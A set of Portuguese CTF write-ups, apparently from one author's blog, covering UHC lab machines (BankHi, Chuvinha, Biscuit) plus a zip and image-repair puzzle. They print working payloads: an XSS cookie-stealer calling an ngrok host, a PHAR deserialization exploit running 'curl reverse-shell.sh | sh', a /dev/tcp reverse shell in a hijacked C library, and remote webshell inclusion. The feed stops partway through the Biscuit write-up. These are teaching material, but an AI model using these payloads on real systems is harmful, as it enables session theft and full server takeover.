❌

Reading view

There are new articles available, click to refresh the page.

UHCCTF (ClassificatΓ³ria) - BankHi (Official Write-Up)

Essa foi a primeira mΓ‘quina que eu criei e ela Γ© muito especial para mim, espero que gostem πŸ™‚

Ela foi feita pensando na exploração de técnicas de Hijacking.

easter egg β†’ bank name = Hi          
name of background image = jack.jpg
team developer name = jack
HiJack - Hijacking :) 

Recon

/assets/bankhi/Untitled.png

A pΓ‘gina principal parece ser de um banco normal, dando uma lida percebemos que existe uma sessΓ£o sobre o time do banco:

/assets/bankhi/Untitled%201.png

Ok, jΓ‘ sabemos o nome de possΓ­veis usuΓ‘rios administradores!

Dando mais uma navegada podemos encontrar uma pΓ‘gina um tanto quanto interessante:

/assets/bankhi/Untitled%202.png

Parece que o Banco tem um programa prΓ³prio de Bug Bounty (recompensa por bugs).

Mesmo assim vamos fazer um fuzzing no site.

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/FUZZ' -c

/assets/bankhi/Untitled%203.png

Γ‰, nada de interessante, todas essas pastas com status 301 estΓ£o com acesso negado 😒.

Vamos ver esse tal programa de BugBounty e fazer um fuzzing nele:

ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'https://bankhi.uhclabs.com/bugbounty/FUZZ' -c

/assets/bankhi/Untitled%204.png

SΓ³ retornou um diretΓ³rio de uploads, mas nΓ£o existe directory listening. Talvez se usΓ‘ssemos outra wordlist eu teria pego index.php, login.php, report.php…

Temos de cara uma pΓ‘gina de login e um link para criar usuΓ‘rios. (login.php)

/assets/bankhi/Untitled%205.png

Os trΓͺs botΓ΅es ali em cima eu preciso estar autenticado para usar, depois de testar algumas credenciais padrΓ£o e nΓ£o ter sucesso vamos criar um user!

Depois de criar um user e logar, temos acesso ao index.php

/assets/bankhi/Untitled%206.png

Dando uma olhada no source code… Temos nossa primeira flag.

/assets/bankhi/Untitled%207.png

Parece ser uma pΓ‘gina de reports. Γ‰ importante ressaltar que os admins podem ver nossos reports πŸ€”.

Vamos fazer um report:

/assets/bankhi/Untitled%208.png

/assets/bankhi/Untitled%209.png

Agora vamos ver como ele se faz no cΓ³digo html:


<h5 class='card-title'>test</h5>
<h6 class='card-subtitle mb-2 text-muted; text-warning'>Open</h6>
<p class='card-text text-info'>From: vinicius</p>
<p class='card-text'>test</p>

Exploitation

Ok, vamos testar um XSS aqui, nΓ£o Γ© muito comum em CTFs mas se os admins realmente verem nossos reports provavelmente poderemos executar scripts maliciosos na pΓ‘gina deles.

<script> alert('xss') </script>

Vou usar o clΓ‘ssico dos clΓ‘ssicos

/assets/bankhi/Untitled%2010.png

/assets/bankhi/Untitled%2011.png

Interessante… Parece que a aplicação removeu nosso script e nosso alert (muito comum os sites bloquearem o alert…) Parece que teremos que fazer um bypass disso, normalmente podemos inserir uma palavra proibida dentro de outra, assim quando a aplicação remover a palavra proibida, vai concatenar a nossa palavra.

/assets/bankhi/Untitled%2012.png

Nossa payload:

<scrscriptipt> alealertrt('xss') </scrscriptipt>

Vamos enviar e ver se da certo.

/assets/bankhi/Untitled%2013.png

Bom parece que o site estΓ‘ vulnerΓ‘vel a XSS storage, vamos pesquisar o que podemos fazer com isso… Hm, Session Hijacking, podemos roubar cookies dos usuΓ‘rios que verem nosso report (admins ?).

/assets/bankhi/Untitled%2014.png

Temos um cookie de um token JWT com nosso usuΓ‘rio. Vamos desencodar.

/assets/bankhi/Untitled%2015.png

Uid significa UserId, normalmente usado para dizer os privilΓ©gios de cada usuΓ‘rio. Como nΓ£o temos a chave do token nΓ£o podemos alterar esse valor. PorΓ©m sabemos que cada usuΓ‘rio tem um token e com esse token poderiamos roubar a sessΓ£o do usuΓ‘rio (Session Hijacking).

Session Hijacking

Vamos procurar alguma payload, vou usar essa:

<scrscriptipt>
new Image().src='2.tcp.ngrok.io:17224/'+(document.cookie);
</scscriptript>

Isso vai fazer com que o browser faça uma requisição para meu IP do ngrok + a porta do ngrok com os cookies da sessão do usuÑrio que estiver acessando a pÑgina.

Vamos enviar e abrir nosso netcat para receber o request.

NΓ£o funcionou

new Image().src='http://2.tcp.ngrok.io:17224/'+(.);

Se analisarmos a aplicação retirou a palavra β€œdocument” e a palavra β€œcookie”, logo vamos fazer a mesma coisa que fizemos com script e estΓ‘ feito nosso bypass.

<scrscriptipt>
new Image().src='http://2.tcp.ngrok.io:18238/'+(docdocumentument.cookcookieie);
</scscriptript>

/assets/bankhi/Untitled%2016.png

Agora vamos usar esse token que pegamos: (se botarmos esse token no jwt.io ele vai mostrar o uid:1)

/assets/bankhi/Untitled%2017.png

Mais uma Flag! Session Hijacking feito com Sucesso.

Agora temos um formulΓ‘rio de upload.

Pelo jeito podemos fazer o upload de php, vamos upar uma shell…

Agora vamos ver aquele diretΓ³rio que o ffuf apontou o /uploads, se nossa shell estΓ‘ lΓ‘.

/assets/bankhi/Untitled%2018.png

Como estou escrevendo esse write-up no dia do UHC temos um load-balancer rodando, por isso vamos dar f5 algumas vezes…

/assets/bankhi/Untitled%2019.png

Habemos Shell !

PΓ³s-Exploitation

Part 1

Agora que temos shell vou transforma-la numa shell mais responsiva para trabalharmos melhor…

/assets/bankhi/Untitled%2020.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Agora poderemos trabalhar melhor, vamos começar dando uma olhada na mÑquina, parece que temos dois users, um chamado ronald e outro leia (estamos como o user do apache www-data), e no / temos um arquivo chamado welcome.txt

/assets/bankhi/Untitled%2021.png

Parece a senha do ronald, agora vamos logar como ronald, e logo na home dele temos mais uma flag!

/assets/bankhi/Untitled%2022.png

Ok, pelo o que parece teremos que fazer uma escalação de privilégios horizontal e pegar o user da leia.

PoderΓ­amos rodar um linpeas para enumerar, mas logo no β€œsudo -l” jΓ‘ temos algo interessante:

/assets/bankhi/Untitled%2023.png

Isso significa que com o user ronald podemos rodar /usr/bin/python3.7 /opt/bingo.py setando uma variΓ‘vel de ambiente sem usar senha como o user leia.

Isso estΓ‘ com cara de Python Lib Hijacking

Vamos entΓ£o ler esse script bingo.py…

Python Lib Hijacking

Linux Privilege Escalation

/assets/bankhi/Untitled%2024.png

O bΓ‘sico de Python LIb Hijacking Γ© sobre escrever uma das bibliotecas importadas no script, no caso vamos usar a socketserver…

Criei uma pasta oculta no /tmp para nao leakar o exploit no meio do campeonato…

/assets/bankhi/Untitled%2025.png

Escrevi um script com uma função chamando uma shell interativa, assim quando rodarmos o bingo.py como a leia, o bingo.py importarÑ a nossa lib fake chamando uma shell como a leia. Mas como fazemos o python entender que é para usar a nossa lib? O SETENV no /etc/sudoers significa que podemos dizer o valor de alguma variÑvel de ambiente do linux, e existe uma variÑvel de ambiente que diz onde ficam os arquivos do python incluindo as libs, então temos só que dizer que esse diretório é o nosso /tmp/.a/ .

/assets/bankhi/Untitled%2026.png

Gooooood

Agora como a leia podemos ver que a prΓ³xima flag estava na home dela.

/assets/bankhi/Untitled%2027.png

Part 2 - Root

Poderia ter rodado o linpeas mas novamente o β€œsudo -l” nos disse algo:

/assets/bankhi/Untitled%2028.png

Isso significa que o user leia pode rodar /bin/sl como root sem senha e setando uma variΓ‘vel de ambiente…

Vamos ver esse sl.

Path Hijacking

/assets/bankhi/Untitled%2029.png

LOL, Aparentemente ele faz um trem no terminal.

Mas logo quando ele termina de passar o trem ele mostra um output um tanto quanto conhecido

/assets/bankhi/Untitled%2030.png

Parece que ele estΓ‘ rodando um ls…

Tudo indica que seja Path Hijacking, vou rodar o strace no sl para ver as chamadas de sistema para confirmar…

/assets/bankhi/unknown.png

Γ‰ ele estΓ‘ chamando o β€œls” direto sem path, ou seja podemos manipular a variΓ‘vel PATH usando nosso SETENV, PATH Γ© a variΓ‘vel que determina onde os arquivos executΓ‘veis do linux estΓ£o. Por exemplo para nΓ£o digitar β€œ/usr/bin/sudo” meu PATH terΓ‘ β€œ/usr/bin/” assim quando eu for rodar o comando β€œsudo” eu sΓ³ preciso digitar β€œsudo”.

EntΓ£o temos que criar um ls malicioso…

Usei o mesmo path que usamos para o python lib hijacking.

/assets/bankhi/Untitled%2031.png

Escrevi um bash para apenas rodar um /bin/bash e chamar a shell interativa como root

Agora o root…

/assets/bankhi/Untitled%2032.png

E nossa flag de root merecida!

/assets/bankhi/Untitled%2033.png

Γ‰ isso.

Essa foi a primeira maquina que eu fiz entΓ£o espero que quem tenha jogado tenha gostado e sim eu sou fΓ£ de star wars, tem varios easter eggs espalhados na mΓ‘quina kkskksks…

UHCCTF (Classificatória) - CuteCat 🐈 (Official Write-Up)

Esse challenge foi feito para ser fofo e maluco ao mesmo tempo… Meu primeiro challenge MISC.

Part 1

Começamos o challenge com um .zip criptografado com senha:

/assets/cutecat/Untitled.png

Temos algumas opçáes para partir, ou rodar um bruteforce ou achar a senha.

Testando algumas coisas na mΓ£o acabei conseguindo acertar, a senha Γ© o nΓΊmero que estΓ‘ no nome do arquivo, no caso a senha do 22800.zip Γ© 22800.

/assets/cutecat/Untitled%201.png

Extraindo, temos mais um arquivo, o 41992.zip, testando o mesmo mΓ©todo conseguimos deszipar.

/assets/cutecat/Untitled%202.png

Pelo jeito é um padrão que precisa ser quebrado, vamos desenvolver um script para pegar o nome do arquivo e fazer a extração em loop.

Existem MUITAS formas diferentes de resolver essa primeira parte do challenge, eu usarei shell script para automatizar o processo.

#!/bin/bash
mkdir data                           
echo 'any key + enter to start:'     
read key
while true                          
do
	name=$(ls | grep .zip)            
	name=${name%.zip}                 
	echo "Unziping: $name"     
	unzip -j -P $name $name.zip      
	status=$(echo $?)                  
	if [[ $status != 0 ]]              
	then
	echo "Error extracting $name.zip" 
	exit                              
	fi                                 
	mv $name.zip ./data               
done

Agora vou explicar o script, o que ele faz Γ© em um loop dar um ls na pasta que sΓ³ vai retornar no output os arquivos que terminarem com .zip, nesse output terΓ‘ o nome do arquivo que precisamos e serΓ‘ salvo na variΓ‘vel name, entΓ£o excluΓ­mos o β€œ.zip” da nossa variΓ‘vel name e entΓ£o extraΓ­mos o arquivo desse .zip e movemos o .zip de origem para a pasta β€œdata”, assim nΓ£o teremos problemas no β€œls” (o if no meio do cΓ³digo verifica se a extração foi feita com sucesso, se nΓ£o ele mostra qual .zip deu erro e encerra o programa deixando o script que deu erro na pasta raiz). Assim deve funcionar, vamos testar…

/assets/cutecat/Untitled%203.png

/assets/cutecat/Untitled%204.png

Part 2

Depois de um tempo ele terminou de extrair tudo mas deu erro no 46691.zip, e mostrou que dentro dele tem um arquivo chamado cutecat.jpg…

Depois de tentar umas senhas e nΓ£o conseguir vamos fazer um bruteforce.

Vou utilizar o john para isso.

/assets/cutecat/Untitled%205.png

Rapidinho conseguimos a senha, usando ela conseguimos extrair o cutecat.jpg

Part 3

Aparentemente o arquivo estΓ‘ corrompido nΓ£o conseguimos visualizar a imagem.

/assets/cutecat/Untitled%206.png

/assets/cutecat/Untitled%207.png

A principio parece que a assinatura do arquivo pode estar errada, por isso o β€œfile” do Linux nΓ£o conseguiu identificar o tipo do arquivo. Vamos extrair o hexadecimal da imagem para poder analisar.

/assets/cutecat/Untitled%208.png

Os primeiros bytes dos arquivos costumam ser conhecidos como magic-bytes, vamos ver como Γ© a assinatura (signature ou magic-bytes) de um arquivo jpg.

List of file signatures

/assets/cutecat/Untitled%209.png

Nossa imagem:

/assets/cutecat/Untitled%2010.png

A partir do terceiro byte a assinatura esta correta, entΓ£o sΓ³ teremos que trocar os 00 por ff da nossa imagem

Para isso tambΓ©m existem vΓ‘rias formas de fazer, vou usar um mΓ³dulo do CyberChef para renderizar a imagem, chamado Render Image.

CyberChef

/assets/cutecat/Untitled%2011.png

Selecionando o mΓ³dulo Render Image usando o input format de Hex eu copiei todo o conteudo do extract que fizemos anteriormente e alterei os dois primeiros bytes que estavam errados para β€œff” e apareceu um gatinho fofinho, ownt!

Vamos baixar a imagem!

/assets/cutecat/Untitled%2012.png

/assets/cutecat/Untitled%2013.png

Ownt!!!!!!!!!!!!!

Parece que temos uma senha, acredito que o ΓΊnico lugar que poderΓ­amos usar essa senha seja se tiver esteganografia na imagem…

/assets/cutecat/Untitled%2014.png

Γ‰ isso, foi fofo nΓ©? 😸

UHCCTF (ClassificatΓ³ria) - Chuvinha

Recon

(NΓ£o usei o nmap pois abri a mΓ‘quina no meu computador, o nmap nΓ£o apontaria nada demais se eu rodasse ele no UHCLabs ou no prΓ³prio dia do UHC)

/assets/chuvinha/Untitled.png

De inΓ­cio o site Γ© um blog sobre hacking e possui alguns lugares para compra de cursos, incluindo ZAP LOCKING (trava zap)…

Dando uma olhada no site em busca de falhas e tambΓ©m no cΓ³digo fonte, a primeira coisa que eu tentei β€œexplorar” foi um formulΓ‘rio de e-mail no final da pΓ‘gina, em busca de alguns Comand Injections, Server-side Request Forgery e etc.

/assets/chuvinha/Untitled%201.png

PorΓ©m nΓ£o encontrei nada.

EntΓ£o segui e rodei um Fuzzing em busca de arquivos e diretΓ³rios no site, utilizei uma ferramenta chamada β€œffuf”:

ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://127.0.0.1/FUZZ' -c

/assets/chuvinha/Untitled%202.png

Como estΓ‘ no comando acima eu utilizei a wordlist β€œcommon.txt” do repositΓ³rio seclists no github. De inΓ­cio houve alguns retornos interessantes, eu poderia rodar outras wordlists, normalmente eu uso a β€œcommon.txt, quickhits.txt e big.txt”.

LICENSE                - Apenas uma licensa de cΓ³digo, muito comum em ctfs;
admin.php              - Painel de administração, vamos voltar nele mais tarde;
.hta                   - Arquivos do apache, status code 403 acesso negado!
css                    - Pasta de arquivos do CSS, acesso negado!
.git/HEAD              - ".git" exposed uma vulnerabilidade crΓ­tica;
font                   - Arquivo de fontes, acesso negado!
fonts                  - Arquivo de fontes, acesso negado!
img                    - Uma pasta com as imagens do site, acesso negado!
index.html             - PΓ‘gina incial do site;
.htaccess              - Arquivos do apache, status code 403 acesso negado!
js                     - Arquivos de javascript, acesso negado!
.htpasswd              - Arquivos do apache, status code 403 acesso negado!
server-status          - Script que verifica se o servidor estΓ‘ online, porΓ©m, status code 403 acesso negado!
uploads                - Pasta de uploads, interessante... mas acesso negado.

Na pΓ‘gina /admin.php temos um redirect para /login.php onde existe formulΓ‘rio de login, podemos verificar se existe alguma forma de achar credenciais e fazer o login ou fazer algum tipo de bypass.

/assets/chuvinha/Untitled%203.png

Na pΓ‘gina /.git parece que temos uma possΓ­vel falha de β€œgit exposed”, vamos verificar se Γ© vΓ‘lida e se sim vamos explora-la.

(Ao invΓ©s de entrar no β€œ/.git/HEAD” verifiquei o β€œ.git”:

/assets/chuvinha/Untitled%204.png

Temos uma pÑgina dizendo que não podemos acessar o .git, esse template é incomum de ver em pÑginas com .git exposto, ai deve ter algo, dando um Ctrl+U para verificar o código fonte da pÑgina acabei encontrando a primeira flag! (sempre é bom ler o código fonte das aplicaçáes).

/assets/chuvinha/Untitled%205.png

Agora as chances da exploração serem pela falha de git exposed aumentaram pelo fato da primeira flag estar lÑ.

Se o desenvolvedor utiliza o Git para controle de versΓ΅es do site, lΓ‘ ficariam localizados todos os arquivos do site, commits (pequenas notas sobre o que mudou de versΓ£o para versΓ£o) e etc, o /.git nΓ£o deveria ser acessΓ­vel pelo pΓΊblico.

Exploitation

Parte 1

Para explorar o Git Exposed existem duas formas, de forma manual, e usando algumas tools. Eu recomendo tentar fazer de forma manual, e depois rodar a Tool, para aprender o que realmente a Tool faz. Vou deixar um link onde existe um artigo sobre falha de Git Exposed e sobre como explorar de forma manual (https://medium.com/swlh/hacking-git-directories-e0e60fa79a36).

Como disse acima vamos usar algumas ferramentas para essa exploração, no caso elas estão em um repositório do GitHub que tem o nome de GitTools (https://github.com/internetwache/GitTools)

Na verdade Γ© um pacote com 3 scripts, vamos usar dois deles, o Dumper e o Extractor.

Primeiro o Dumper para dumpar as coisas que estΓ£o no Git da mΓ‘quina. (o segundo argumento Γ© a pasta para onde os arquivos vΓ£o, botei na pasta onde estΓ‘ o script de extrair os arquivos para facilitar).

./gitdumper.sh 'http://127.0.0.1/.git/' ~/Tools/GitTools/Extractor/dumpchuvinha

/assets/chuvinha/Untitled%206.png

Agora vamos para o diretΓ³rio do Extractor e vamos extrair esse dump de arquivos para podermos ler:

./extractor.sh dumpchuvinha extractchuvinha

/assets/chuvinha/Untitled%207.png

Agora temos todos os arquivos do site na nossa maquina!

E parece que tem uma flag aqui hehe:

/assets/chuvinha/Untitled%208.png

Parece que teremos que fazer um code review…

Vou abrir tudo no VisualStudioCode para facilitar.

Na primeira versΓ£o do site (/0-be7dbd2b1e15ffec896cf61484c5a89d18b77335) temos um arquivo de log do apache para ler.

/assets/chuvinha/Untitled%209.png

SΓ£o vΓ‘rias solicitaçáes GET para o site que nΓ£o aparentam ter nada de interessante, sΓ£o tantas iguais o que me da a ideia de procurar por algo diferente em meio a todas essas iguais, dando um Ctrl+F para pesquisar dentro do arquivo, eu procuro por β€œPOST” um outro mΓ©todo http, e incrivelmente eu encontro um request POST de uma autenticação, com credenciais para a pΓ‘gina login.php, na fase de reconhecimento identificamos a pΓ‘gina admin.php, muito provavelmente essas credenciais sΓ£o do administrador do site.

/assets/chuvinha/Untitled%2010.png

Como Γ© um request php parece que a senha estΓ‘ encodada em string de URL, vou utilizar um decoder de URL para arrumar isso.

/assets/chuvinha/Untitled%2011.png

Ok, vamos testar essas credenciais!

/assets/chuvinha/Untitled%2012.png

Logamos!

(Um aviso: Agora a exploração serÑ um pouco complicada, não prometo que vai ser o melhor jeito de explicar porém darei o meu melhor)

Nessa pΓ‘gina temos um lugar para colocar uma URL de imagem e um campo que checa o tamanho da imagem (Arquivo).

Tentei colocar alguns arquivos para tentar upar alguma shell, mas nΓ£o tive resultados.

Vamos retornar para o cΓ³digo que dumpamos para entender melhor como que isso funciona:

/assets/chuvinha/Untitled%2013.png

NΓ³s passamos um link e o php executa um wget para esse link pegando o arquivo e salvando (por conta da função escapeshellarg() nΓ³s nΓ£o conseguiremos manipular o input para trigar um RCE), mas existem outras formas…

Depois ele roda um filesize() no arquivo e retorna o outupt na pΓ‘gina.

Um adendo a uma parte do código curiosa no começo dele:

/assets/chuvinha/Untitled%2014.png

Parece que temos uma função que remove algo do servidor com o comando β€œrm”, no caso o $package_name, serΓ‘ que tem alguma forma de modificar esse objeto $package_name para algo que escapasse do comando β€œrm” e nΓ³s conseguΓ­ssemos rodar comandos no servidor?

Dando uma pesquisada pelas funçáes que tem no código ( filesize() e __destruct() ) acabei descobrindo uma forma de desserealização insegura com arquivos phar.

Exploitation

Parte 2

O objetivo de um ataque de desserealização insegura em uma aplicação web é poder manipular/injetar objetos, e é o que temos que fazer com o objeto $packagename para conseguir um RCE.

Vamos utilizar arquivos phar que são gerados com a classe Phar que é utilizada para empacotar aplicaçáes PHP em um único arquivo que pode ser facilmente distribuído e executado. Se ficou complicado explicarei melhor, pense em um arquivo zip com varias coisas dentro, esse é o arquivo phar no php porém com vÑrios objetos e classes dentro.

A sacada é que existem algumas funçáes no php que quando executadas em arquivos phar desserealizam os objetos dele, uma dessas funçáes é a filesize(), então o que temos que fazer é instanciar a classe Package onde estÑ a parte vulnerÑvel da aplicação e declarar o nosso $package_name com o nosso payload.

Como na outra parte da exploração vou deixar alguns links de artigos e em especial um vídeo do ippsec (que inclusive narra o UHC em algumas ediçáes).

Artigos:

VΓ­deos:

Ok, vamos começar a brincadeira!

Para gerar o arquivo phar vou utilizar um script pronto do PayloadAllTheThings:

(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure Deserialization/PHP.md#php-phar-deserialization)

<?php
class PDFGenerator { }

//Create a new instance of the Dummy class and modify its property
$dummy = new PDFGenerator();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Agora vamos comeΓ§ar alterando o nome da classe β€œPDFGenerator” para o nome da nossa classe vulnerΓ‘vel.

PDFGenerator β€”> Package

Depois o objeto β€œfilename” para o nome do nosso objeto onde temos que escrever o payload

filename β€”> package_name

E entΓ£o temos que escrever a nossa payload, como o comando que vai rodar Γ© um β€œrm” teremos que escapar dele:

rm payload
Existem vΓ‘rias formas de se fazer isso( , ; ) irei fazer com $(), o comando rodaria mais ou menos assim no servidor:
rm $(payload)

Assim estarΓ­amos escapando do β€œrm” e podendo escrever o que quisΓ©ssemos de comando no lugar de payload.

O script terΓ‘ que ficar mais ou menos assim:

<?php
class Package { }

//Create a new instance of the Dummy class and modify its property
$dummy = new Package();
//$dummy->callback = "passthru";
$dummy->package_name = "$(curl http://reverse-shell.sh/172.31.228.136:1234 | sh ) "; //our payload

// Delete any existing PHAR archive with that name
@unlink("poc.phar");

// Create a new archive
$poc = new Phar("poc.phar");

// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();

// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");

/* Add a new file in the archive with "text" as its content*/
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>

Minha payload foi uma forma bem legal de pegar reverse shell, usando um site, logo depois passei meu ip e a porta onde ele deve se conectar.

Agora vamos gerar o arquivo phar!

/assets/chuvinha/Untitled%2015.png

Parece que nossa configuração do php não nos deixa gerar um arquivo phar, vamos arrumar isso.

php --ini

Isso vai retornar onde estΓ‘ seu arquivo de configuração do php, vamos editar ele, procurando por β€œphar” vamos modificar uma linha: (removendo o ; do comeΓ§o dela e escrevendo β€œOff” no lugar de β€œOn”)

/assets/chuvinha/Untitled%2016.png

E entΓ£o:

/assets/chuvinha/Untitled%2017.png

Agora deve funcionar:

/assets/chuvinha/Untitled%2018.png

Temos nosso payload. Para fazer o donwload dele na mΓ‘quina vou criar um servidor python na minha maquina:

(https://github.com/viniciuspereiras/bingo)

bingo 

ou

python3 -m http.server 

E o download:

/assets/chuvinha/Untitled%2019.png

Ok retornou com um β€œFile downloaded! You can access it Here” vou clicar no Here para ver o caminho onde o arquivo foi salvo.

/assets/chuvinha/Untitled%2020.png

Agora vamos rodar a função do filesize() nele mas usando um β€œphar://./” antes para funcionar, e tambΓ©m abriremos um netcat para ouvir na porta onde colocamos (no caso na porta 1234)

/assets/chuvinha/Untitled%2021.png

Aqui estΓ‘ nossa shell, para ela ficar mais interativa usei o β€œrlwrap” antes do netcat.

PΓ³s-Exploitation

Agora que estamos com shell precisamos escalar nossos privilΓ©gios na mΓ‘quina, estamos como o usuΓ‘rio do apache β€œwww-data”.

Verifiquei os diretΓ³rios atrΓ‘s de coisas, verifiquei as permissΓ΅es de sudo (aparentemente nΓ£o podemos rodar sudo na mΓ‘quina), e verifiquei as permissΓ΅es de binΓ‘rios tambΓ©m, e no fim rodei um linpeas para garantir.

Achei uma pasta de um script na pasta /opt do linux, o script Γ© um monitorador de diretΓ³rios git expostos (cΓ΄mico pois ele falhou lΓ‘ atrΓ‘s). E tem cara de que vai falhar agora nos dando uma shell de root.

/assets/chuvinha/Untitled%2022.png

Lendo o script em c, percebemos que ele Γ© bem simples, e opa achamos mais uma flag!

#include <stdio.h>
#include <stdlib.h>
#include "gitlib/libgitutils.h"

// UHC{s1mpl3%%%%%%%%%%%%%%t0_RCE}

int main(){
    check_git_safety();
}$

Lendo o README.md podemos ver como que o script foi instalado e um pouco de como ele funciona.

/assets/chuvinha/Untitled%2023.png

Podemos perceber que o script utliza uma biblioteca compartilhada, poderiamos trocar a biblioteca que ele estΓ‘ usando para uma biblioteca nossa e subscrever a função que o script usa, no caso β€œcheck_git_safety()”.

Isto se chama Library Hijacking nesse caso em libs de C.

Pesquisando sobre como criar libs em C cheguei a simples conclusΓ£o que sΓ³ precisamos escrever uma nova função num script β€œ.c” normal e compilar como uma biblioteca.

Então vamos escrever nossa biblioteca falsificada e declarar nossa função:

#include <stdlib.h>
void check_git_safety() {
        system("bash -c 'bash -i >& /dev/tcp/172.20.17.36/8989 0>&1'");
}

Como pode ver subscrevi a função check_git_safety() para rodar a função system com o comando para nos mandar uma reverse shell.

Ela iria mandar a shell como root jΓ‘ que no README.md percebemos que o script roda como um cronjob de root.

EntΓ£o na minha mΓ‘quina vou compilar o script para transformar numa biblioteca compartilhada.

(O nome do script Γ© libgitutils.c)

Vamos compilar:

gcc libgitutils.c -fpic -c

Isso vai gerar um arquivo libgitutils.o

gcc -shared -o libgitutils.so libgitutils.o

Agora temos nossa biblioteca compartilhada libgitutils.so .

Vamos novamente abrir um servidor python na nossa mΓ‘quina para passar a biblioteca compartilhada para dentro na mΓ‘quina que temos shell.

/assets/chuvinha/Untitled%2024.png

Agora com a nossa biblioteca falsificada dentro da mÑquina vamos seguir as instruçáes do README.md e copiar nossa lib falsificada para o diretório das instruçáes.

Primeira instrução:

1. Copy our libgitutils.so library to /lib/x86_64-linux-gnu/libgitutils.so

Vamos copiar:

cp libgitutils.so /lib/x86_64-linux-gnu/libgitutils.so

Segunda instrução:

2. Install a cronjob that runs /opt/git-monitorer/gitmon every minute

Como jΓ‘ alteramos a biblioteca, a cada um minuto o script deve ser rodado, entΓ£o vamos apenas abrir a porta 8989 da nossa mΓ‘quina para receber a reverse shell e esperar um minuto.

/assets/chuvinha/Untitled%2025.png

Ownamos!

Agora vamos ver se achamos a flag, dando uma olhada rΓ‘pida pelo diretΓ³rio /root, ela jΓ‘ estava lΓ‘.

/assets/chuvinha/Untitled%2026.png

Γ‰ isso XD .

UHCCTF (ClassificatΓ³ria) - Biscuit (Official Write-Up) pt-br

Ola sou o Vinicius (big0us), esse Γ© um write-up de uma maquina que foi o challenge de uma das etapas classificatΓ³rias do UHC.

Escreverei meio rÑpido então peço desculpas se algo estiver um pouco ruim.

Boa leitura :)

g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

A primeira pΓ‘gina Γ© uma pΓ‘gina de login, dando uma olhada no HTML da pΓ‘gina aparentemente nΓ£o existe nada escondido, vou rodar um fuzzing e depois poderemos testar algumas credenciais.

/assets/biscuit/Untitled%201.png

Aparentemente nosso fuzzing entregou apenas um /class, onde existe um directory listing apontando um arquivo β€œ.php”.

/assets/biscuit/Untitled%202.png

Ok, vamos testar algumas credenciais padrΓ΅es no formulΓ‘rio de login:

admin:admin
guest:guest
administrator:admin
root:root

Testando β€œguest:guest” conseguimos entrar:

/assets/biscuit/Untitled%203.png

Dando uma olhada aparentemente temos sΓ³ uma pΓ‘gina de welcome.

Vamos ver nossos cookies.

/assets/biscuit/Untitled%204.png

Vamos entender melhor esse cookie chamado session pois ele parece ser interessante:

/assets/biscuit/Untitled%205.png

Utilizando o cyberchef para decodar o cookie podemos perceber que se trata de um JSON com trΓͺs valores: hmac (provavelmente algo que valide os valores), username, e uma hora para o cookie expirar.

Vou tentar alterar o valor de username para β€œadmin” encodar em base64, url e entΓ£o enviar para a aplicação.

/assets/biscuit/Untitled%206.png

Aparentemente retornou um erro dizendo que estamos tentando fazer um β€œtemperamento de cookie”, e retornou uma flag! Nossa primeira flag.

Depois de alguns testes enviando cookies com outros valores aleatórios, acabei percebendo que a aplicação valida o Cookie pelo valor do hmac, e não pelo conteudo inteiro do json.

Uma vulnerabilidade muito conhecida sobre validaçáes do PHP Γ© o type jugling, que consiste em bypass de autenticaçáes fazendo qualquer if($ == $) retornar β€œtrue”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basicamente quando um programador utiliza β€œ==” em uma comparação o php primeiro torna os dois valores do mesmo tipo, ignorando o tipo (int, str…) das variΓ‘veis.

E nessa operação podemos utilizar algumas tΓ©cnicas para a comparação retornar β€œtrue”.

Exploitation

Depois de um tempo tentando, testei trocar o valor do β€œhmac” para β€œtrue” e aparentemente funcionou!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Ok, fiquei triste que não existe nenhuma flag por aqui 😒.

Vou tentar alterar o nome do usuΓ‘rio para entender o que estΓ‘ acontecendo.

Alterando para β€œtest” o php nos retorna um erro, aparentemente ele estΓ‘ rodando um β€œrequire_once” no valor que colocamos + adicionando .php no final. require_once normalmente Γ© usado para incluir pΓ‘ginas e arquivos php em sites, e quando o usuΓ‘rio tem controle sobre o valor que o require_once vai usar a aplicação estΓ‘ vulnerΓ‘vel a LFI ou RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

Como a aplicação ja coloca o .php no final vou fazer o seguinte.

Subir um arquivo com uma webshell num servidor utilizando o ngrok, mandar a a aplicação incluir meu arquivo e conseguir um RCE.

/assets/biscuit/Untitled%2011.png

E vou mandar a payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(A aplicação ja vai colocar o .php)

Temos RCE!!

/assets/biscuit/Untitled%2012.png

Agora vou tentar pegar uma reverse shell.

Após algumas tentativas percebi que existe um firewall na aplicação que bloqueia qualquer comunicação em portas que não forem 80 ou 443, como eu não tenho uma VPS, vou fazer de uma forma diferente, ao invés de uma reverse shell (onde a vitima se conecta no atante) vou pegar uma bind shell (abrindo uma porta na maquina e me conectando nela).

Para isso vou usar o β€œsocat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

